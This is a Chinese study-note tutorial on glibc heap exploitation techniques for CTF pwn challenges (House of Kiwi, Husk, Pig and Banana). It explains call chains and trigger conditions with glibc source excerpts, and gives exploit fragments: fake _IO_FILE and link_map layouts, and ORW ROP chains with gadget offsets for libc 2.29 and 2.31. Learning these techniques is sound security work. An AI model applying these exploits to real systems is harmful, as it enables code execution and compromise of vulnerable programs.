一、House of KIWI
House OF Kiwi - 安全客,安全资讯平台 (anquanke.com)
1.原理分析
函数调用链:assert->malloc_assert->fflush->_IO_file_jumps结构体中的__IO_file_sync
1 2 3 4 5 6 7 8 9 10 11 12 13 static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void ) __fxprintf (NULL , "%s%s%s:%u: %s%sAssertion `%s' failed.\n" , __progname, __progname[0 ] ? ": " : "" , file, line, function ? function : "" , function ? ": " : "" , assertion); fflush (stderr ); abort (); } #endif
调用时的寄存器为:
那么如果可以在不同版本下劫持对应setcontext中的赋值参数,即rdi或者rdx,就可以设置寄存器来调用我们想调用的函数。
(1)rdi和rdx互相转换
①getkeyserv_handle+576:
1 2 3 4 5 6 7 plaintext #注释头 mov rdx, [rdi+8] mov [rsp+0C8h+var_C8], rax call qword ptr [rdx+20h]
通过rdi控制rdx,同样2.29以后不同版本都不太一样,需要再调试看看,比如2.31里就是:
1 2 3 4 5 6 7 plaintext #注释头 mov rdx,QWORD PTR [rdi+0x8] mov QWORD PTR [rsp],rax call QWORD PTR [rdx+0x20]
②svcudp_reply+26:
1 2 3 4 5 6 7 8 9 10 plaintext #注释头 mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];
通过rdi控制rbp实现栈迁移,然后即可任意gadget了。
其中2.31版本下还是一样的,如下:
1 2 3 4 5 6 7 8 9 10 plaintext #注释头 mov rbp,QWORD PTR [rdi+0x48] mov rax,QWORD PTR [rbp+0x18] lea r13,[rbp+0x10] mov DWORD PTR [rbp+0x10],0x0 mov rdi,r13 call QWORD PTR [rax+0x28]
(2)不同劫持
这里观察寄存器就可以知道,不同版本的setcontext对应的rdi和rdx,这里就劫持哪一个。另外这里的rdi为_IO_2_1_stderr
结构体,是通过_malloc_assert
函数中的
从stderr@@GLIBC_2.2.5
取值过来的,也就是ELF的bss段上的数据
1 2 3 4 5 6 7 8 9 10 #include "libioP.h" #include "stdio.h" #undef stdin #undef stdout #undef stderr FILE *stdin = (FILE *) &_IO_2_1_stdin_; FILE *stdout = (FILE *) &_IO_2_1_stdout_; FILE *stderr = (FILE *) &_IO_2_1_stderr_;
如果可以取得ELF基地址,直接劫持该指针为chunk地址也是可以的,这样就能劫持RDI寄存器了。
这样如果劫持__IO_file_sync函数指针为setcontext,配合劫持的rdi和rdx就可以来调用我们想调用函数从而直接getshell或者绕过orw。
如果没法泄露ELF基地址,可以利用largebin attack
直接将堆地址写入_IO_2_1_stderr
的vtable
指针,然后在堆上伪造_IO_new_file_sync
函数指针为one_gadget
即可。
🔺问题:
当程序中无法泄露ELF基地址时,而one_gadget
2.触发条件
只要assert判断出错都可以,常用以下几个
(1)top_chunk改小,并置pre_inuse为0,当top_chunk不足分配时会触发一个assert。(该assert函数在sysmalloc函数中被调用)
(2)largebin chunk的size中
当修改largebin中的chunk的size位时,将之改小。再从largebin中尝试申请chunk的时候,如果发现largebin中的chunk的size小于需要申请的chunk的size,那么就会触发assert
1 2 3 4 5 size = chunksize (victim); assert ((unsigned long ) (size) >= (unsigned long ) (nb));
(3)如果是2.29及以下,因为在tcache_put和tcache_get中还存在assert的关系,所以如果可以修改掉mp_.tcache_bins,将之改大,(利用largebin attack)就会触发assert
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
此外只要是assert不满足均可,可以在_int_malloc
和_int_free
函数中找一找。
3.适用条件
如果将exit
函数替换成_exit
函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup
,若再将__malloc_hook
和__free_hook
给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区的情况下。这时候可以借用malloc出错调用malloc_assert->fflush->_IO_file_sync 函数指针。且进入的时候rdx为_IO_helper_jumps_addr
,rdi为_IO_2_1_stderr_addr
。
二、House of Husk
house-of-husk学习笔记 (juejin.cn)
1 .原理分析
函数调用链:
1 2 3 printf ->vfprintf ->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec) | ->__printf_function_table(spec)
__parse_one_specmb 函数 会调用 __printf_arginfo_table 和**__printf_function_table两个函数指针中对应spec索引的函数指针 printf_arginfo_size_function**
▲这个spec索引指针就是格式化字符的ascii码值,比如printf(“%S”),那么就是S的ascii码值。当然,这个方法的前提是得有printf系列函数,并且有格式化字符。
即调用**(*__printf_arginfo_table+’spec’8) 和 (*printf_function_table+’spec’8)**这两个函数指针。
而实际情况会先调用**__printf_arginfo_table中对应的spec索引的函数指针,然后调用 __printf_function_table**对应spec索引函数指针。
所以如果修改了**__printf_arginfo_table和 __printf_function_table**,则需要确保对应的spec索引对应的函数指针,要么为0,要么有效。
同时如果选择这个方法,就得需要**__printf_arginfo_table和 __printf_function_table**均不为0才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL )) goto do_positional; do_positional: if (__glibc_unlikely (workstart != NULL )){ free (workstart); workstart = NULL ; } done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep, mode_flags);
1 2 3 4 5 6 7 8 9 10 11 (void ) (*__printf_arginfo_table[specs[cnt].info.spec]) (&specs[cnt].info, specs[cnt].ndata_args, &args_type[specs[cnt].data_arg], &args_size[specs[cnt].data_arg]); function_done = __printf_function_table[(size_t ) spec] (s, &specs[nspecs_done].info, ptr);
即如果table不为空,则调用printf_positional
函数,然后如果spec不为空,则调用对应spec索引函数。但是有时候不知道printf最终会调用哪个spec,可能隐藏在哪,所以直接把干脆_printf_arginfo_table
和__printf_function_table
中的值全给改成one_gadget算了。
▲综上,得出以下条件:
1 2 3 4 A. __printf_function_table = heap_addr __printf_arginfo_table != 0 B. heap_addr+'spec' *8 = one_gadget
在2.29下可以直接用largebin attack爆破修改两个地方,当然还是需要先泄露地址的。
2.触发条件
即需要printf家族函数被调用,且其中需带上格式化字符,比如%s,%x等,用来计算spec,这个和libc版本无关,相当于只针对printf家族函数进行攻击的。
3.适用条件
具有printf家族函数,并且存在spec,合适地方会调用。
三、House of Pig
house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)
1.原理分析
(1)劫持原理
_IO_str_overflow 函数中会连续调用malloc memcpy free 三个函数。并且**__IO_str_overflow函数传入的参数rdi为从 _IO_list_all中获取的 _IO_2_1_stderr结构体的地址。所以如果我们能改掉 _IO_list_all**中的值就能劫持进入该函数的参数rdi
。
所以如上所示,即劫持成功。
(2)Getshell原理
①函数流程
A.在_IO_str_overflow
函数中会先申请chunk为new_buf
,然后会依据rdi
的值,将rdi
当作_IO_FILE
结构体,从该结构体中获取_IO_buf_base
当作old_buf
。
B.依据old_blen
和_IO_buf_base
来拷贝数据到new_buf
中,然后释放掉old_buf
。其中old_blen
是通过_IO_buf_end
减去_IO_buf_base
得到的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); fp->_IO_buf_base = NULL ; }
②劫持所需数据
所以如果在申请的new_buf
包含为_free_hook
,然后我们在_IO_buf_base
和_IO_buf_end
这里一段数据块中将system_addr
放入,那么就可以将system_addr
拷贝到_free_hook
中。之后释放掉old_buf
,如果old_buf
中的头部数据为/bin/sh\x00
,那么就能直接getshell 了。得到以下劫持所需数据:
1 2 3 4 5 *(_IO_list_all) = chunk_addr; (struct _IO_FILE*)chunk_addr->_IO_buf_base = chunk_sh_sys_addr; (struct _IO_FILE*)chunk_addr->_IO_buf_end = chunk_sh_sys_addr+old_blen; tcachebin[tc_idx] = _free_hook_addr-old_blen;
但是如何使得tcachebin[tc_idx]中的Chunk为_free_hook_addr-old_blen
呢,这个就用到技术
Largebin attack + Tcache Stashing Unlink Attack
,这个技术原理比较复杂,自己看吧。
通常是只能使用callo的情况下来用的,因为如果能malloc那直接从tcache中malloc出来不就完了。
然后由于_IO_str_overflow
函数中的一些检查,所以有的地方还是需要修改的:
1 2 3 4 5 6 7 8 9 10 11 12 fake_IO_FILE = p64(0 )*2 fake_IO_FILE += p64(1 ) fake_IO_FILE += p64(0xffffffffffff ) fake_IO_FILE += p64(0 ) fake_IO_FILE += p64(heap_base+0x003900 +0x10 ) fake_IO_FILE += p64(heap_base+0x003900 +0x10 +0x18 ) fake_IO_FILE = fake_IO_FILE.ljust(0xb0 , '\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0xc8 , '\x00' ) fake_IO_FILE += p64(IO_str_vtable)
2.触发条件
(1)Libc结构被破坏的abort函数中会调用刷新 (2)调用exit() (3)能够从main函数返回
3.适用条件
程序只能通过calloc来获取chunk时
四、House of banana
house of banana - 安全客,安全资讯平台 (anquanke.com)
main_arena劫持及link_map劫持 - 安全客,安全资讯平台 (anquanke.com)
1.原理分析
函数调用链:exit()->_dl_fini->(fini_t)array[i]
1 2 3 4 5 6 7 8 9 10 11 12 13 if (l->l_info[DT_FINI_ARRAY] != NULL ){ ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t ) array [i]) (); }
所以如果可以使得*array[i] = one_gadget,那么就可以一键getshell。而array[i]调用时这里就有两种套路:
(1)伪造link_map结构体
直接伪造link_map
结构体,将原本指向link_map
的指针指向我们伪造的link_map
,然后伪造其中数据,绕过检查,最后调用array[i]。这里通常利用largebin attack来将堆地址写到_rtld_global
这个结构体指针中。
link_map
的布局通常如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 fake_link_map_chunk_addr = heap_base+0x001000 edit(1 ,0x448 ,'\x00' *0x448 ) fake_link_map_data = "" fake_link_map_data += p64(0 ) + p64(fake_link_map_chunk_addr + 0x20 ) fake_link_map_data += p64(0 ) + p64(fake_link_map_chunk_addr) fake_link_map_data += p64(0 ) + p64(fake_link_map_chunk_addr + 0x28 ) fake_link_map_data += p64(fake_link_map_chunk_addr + 0x50 ) + p64(fake_link_map_chunk_addr + 0x20 ) fake_link_map_data += p64(fake_link_map_chunk_addr+0x28 ) + p64(0x0 ) fake_link_map_data += p64(0 ) + p64(0x0 ) fake_link_map_data += p64(0 ) + p64(fake_link_map_chunk_addr + 0x50 ) fake_link_map_data = fake_link_map_data.ljust(0x100 ,'\x00' ) fake_link_map_data += p64(fake_link_map_chunk_addr + 0x190 ) + p64(0 ) fake_link_map_data += p64(fake_link_map_chunk_addr + 0x128 ) + p64(0 ) fake_link_map_data += p64(0x8 ) + p64(0 ) fake_link_map_data = fake_link_map_data.ljust(0x180 ,'\x00' ) fake_link_map_data += p64(0x1A ) + p64(0x0 ) fake_link_map_data += p64(elf_base + elf.sym['backdoor' ]) + p64(0 ) edit(0 ,0xd68 ,'\x00' *0xd60 +p64(fake_link_map_chunk_addr + 0x1a0 )) fake_link_map_data = fake_link_map_data.ljust(0x308 ,'\x00' ) fake_link_map_data += p64(0x800000000 )
(2)修改link_map结构体数据
修改对应link_map结构体中的数据,绕过检查,最终调用array[i]。这里就通常需要利用任意申请来申请到该结构体,然后修改其中的值,因为当调用array[i]时,传入的实际上是link_map中的某个地址,即rdx为link_map+0x30,这个不同版本好像不太一样,2.31及以上为link_map+0x38。
主要伪造以下数据:
这个方法常用来打ORW,因为可以我们可以直接将ROP链布置在link_map中。然而因为版本间的关系,所以数据也有点不同,实际布局:
2.31
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 //docker 2.31 gadget pop_rdi_ret = libc_base + 0x0000000000026b72 ; pop_rsi_ret = libc_base + 0x0000000000027529 ; pop_rax_ret = libc_base + 0x000000000004a550 ; syscall_ret = libc_base + 0x0000000000066229 ; pop_rdx_r10_ret = libc_base + 0x000000000011c371 setcontext_addr = libc_base + libc.sym['setcontext' ] lg("setcontext_addr" ,setcontext_addr) ret = pop_rdi_ret+1 ; fake_link_map_chunk_addr = top_chunk_hijack+0x4 +0x10 fake_rsp = fake_link_map_chunk_addr + 8 *8 flag = fake_link_map_chunk_addr + 30 *8 orw = "" orw += p64(pop_rdi_ret) + p64(flag) orw += p64(pop_rsi_ret) + p64(0 ) orw += p64(pop_rax_ret) + p64(2 ) orw += p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3 ) orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200 ) orw += p64(pop_rdx_r10_ret) + p64(0x30 ) + p64(0x0 ) orw += p64(libc_base+libc.sym['read' ]) orw += p64(pop_rdi_ret) + p64(1 ) orw += p64(libc_base+libc.sym['write' ]) fake_link_map_data = "" fake_link_map_data += p64(fake_link_map_chunk_addr+0x20 ) + p64(0x0 ) fake_link_map_data += p64(0x0 ) + p64(fake_link_map_chunk_addr+0x5b0 ) fake_link_map_data += p64(0x0 ) + p64(fake_link_map_chunk_addr) fake_link_map_data += p64(setcontext_addr+61 ) + p64(ret) fake_link_map_data += orw fake_link_map_data = fake_link_map_data.ljust(26 *8 ,'\x00' ) fake_link_map_data += p64(0x0 ) + p64(fake_rsp) fake_link_map_data += p64(ret) + p64(0x0 ) fake_link_map_data += './flag\x00\x00' fake_link_map_data = fake_link_map_data.ljust(34 *8 ,'\x00' ) fake_link_map_data += p64(fake_link_map_chunk_addr+0x110 ) + p64(0x0 ) fake_link_map_data += p64(fake_link_map_chunk_addr+0x120 ) + p64(0x20 )
2.29
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 //docker 2.29 gadget pop_rdi_ret = libc_base + 0x0000000000026542 ; pop_rsi_ret = libc_base + 0x0000000000026f9e ; pop_rax_ret = libc_base + 0x0000000000047cf8 ; syscall_ret = libc_base + 0x00000000000cf6c5 ; pop_rdx_r10_ret = libc_base + 0x000000000012bda4 setcontext_addr = libc_base + libc.sym['setcontext' ] lg("setcontext_addr" ,setcontext_addr) ret = pop_rdi_ret+1 ; fake_link_map_chunk_addr = top_chunk_hijack+0x4 +0x10 fake_rsp = fake_link_map_chunk_addr + 8 *8 flag = fake_link_map_chunk_addr + 30 *8 orw = "" orw += p64(pop_rdi_ret) + p64(flag) orw += p64(pop_rsi_ret) + p64(0 ) orw += p64(pop_rax_ret) + p64(2 ) orw += p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3 ) orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200 ) orw += p64(pop_rdx_r10_ret) + p64(0x30 ) + p64(0x0 ) orw += p64(libc_base+libc.sym['read' ]) orw += p64(pop_rdi_ret) + p64(1 ) orw += p64(libc_base+libc.sym['write' ]) fake_link_map_data = "" fake_link_map_data += p64(fake_link_map_chunk_addr+0x20 ) + p64(0x0 ) fake_link_map_data += p64(0x0 ) + p64(fake_link_map_chunk_addr+0x5a0 ) fake_link_map_data += p64(0x0 ) + p64(fake_link_map_chunk_addr) fake_link_map_data += p64(setcontext_addr+53 ) + p64(ret) fake_link_map_data += orw fake_link_map_data = fake_link_map_data.ljust(26 *8 ,'\x00' ) fake_link_map_data += p64(fake_rsp) + p64(ret) fake_link_map_data += p64(0x0 ) + p64(0x0 ) fake_link_map_data += './flag\x00\x00' fake_link_map_data = fake_link_map_data.ljust(34 *8 ,'\x00' ) fake_link_map_data += p64(fake_link_map_chunk_addr+0x110 ) + p64(0x0 ) fake_link_map_data += p64(fake_link_map_chunk_addr+0x120 ) + p64(0x20 )
▲这里需要注意的是由于ld动态连接加载的事情,所以就算是同一个版本中的link_map相对于libc基地址在不同机器中也有可能是不同的,需要爆破第4,5两位,一个字节。
▲题外话:适用到ld动态链接库的话,如果直接patchelf的话,很可能出错的,原因未知。推荐还是用docker:
PIG-007/pwnDockerAll (github.com)
2.触发条件
(1)调用exit() (2)能够从main函数返回
3.适用条件
ban掉了很多东西的时候。但是这个需要泄露地址才行的,另外由于可能需要爆破一个字节,所以如果还涉及其他的爆破就得慎重考虑一下了,别到时候爆得黄花菜都凉了。